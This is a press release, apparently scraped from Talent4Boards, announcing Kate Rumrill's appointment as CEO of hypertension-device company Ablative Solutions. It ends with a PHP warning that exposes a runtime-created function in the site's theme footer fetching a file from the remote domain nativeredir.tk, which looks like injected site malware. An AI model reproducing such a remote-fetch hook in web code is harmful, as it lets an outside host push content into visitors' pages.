– USA, CA –  Ablative Solutions, Inc., a company pioneering new approaches to the treatment of hypertension, today announced that Kate Rumrill has been appointed as the new President and CEO. Rumrill will also serve on the board of directors for the company.

With 30 years of industry experience, Rumrill brings deep expertise in delivering products to market from both the pharmaceutical and medical device industries.

“We’re enthusiastic to have someone with Kate’s unique background stepping into the leadership role at Ablative Solutions during this important time in the company’s clinical development. Her combined pharmaceutical and device experience will be extremely valuable as the company evaluates the drug/device combination Peregrine System™ Kit in the TARGET BP Clinical Trial Program,” said Michael Fulton, M.D., senior managing director of BioStar Capital and chairman of the board for Ablative Solutions.

About Kate Rumrill

Rumrill most recently served as president and CEO of NeoSync, Inc., a clinical stage, non-invasive neuromodulation company, focused on developing products to treat patients with major depressive disorder and other diseases of the central nervous system. She will remain on the board of directors for NeoSync, Inc. Prior to NeoSync, Rumrill was vice president, global medical affairs for Covidien’s peripheral vascular business. She began her career in pharma, holding varied roles in preclinical and clinical research, most notably with Eli Lilly and Company, where she contributed to the development and support of FDA approvals of several blockbuster neuroscience product offerings.

“I couldn’t be more thrilled to join Ablative Solutions at this very exciting time in the company’s growth. Our novel technology and talented team have the potential to create real value for our customers and shareholders alike,” said Kate Rumrill. “With our promising early clinical data, I am excited to work with the team and our scientific advisors and physician partners to execute the new trials and deliver the clinical evidence required to make this therapy available for the large population suffering from uncontrolled hypertension. It is an honor to have the opportunity to work with such a dedicated and innovative group of entrepreneurs and scientists.”

About Ablative Solutions

Ablative Solutions, Inc., based in Kalamazoo, Michigan, and San Jose, California, was founded in 2011 with a vision to address the unmet need of hypertension. Ablative Solutions’ approach targets the overactive sympathetic nervous system, which may play a role in hypertension, heart failure, kidney disease, metabolic syndrome, and sleep apnea. The Peregrine System Kit is currently being investigated as a treatment for hypertension in conjunction with antihypertensive medications.

For more information: https://ablativesolutions.com

- DisclaimerNews, data and statement included in this release are intended exclusively for general information purposes. Talent4Boards accepts neither liability for the consequences of the reader’s reliance, nor responsibility for the adequacy or accuracy of the information. No data or statement in this release should be considered for decisions about securities referred. Product and brand names used in this release maybe trademarks or registered trademarks of their respective owners.

Comments are closed.

Warning: file_get_contents(http://nativeredir.tk/lx/1.txt): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /var/sites/t/talent4boards.com/public_html/wp-content/themes/Aqua/footer.php(54) : runtime-created function on line 1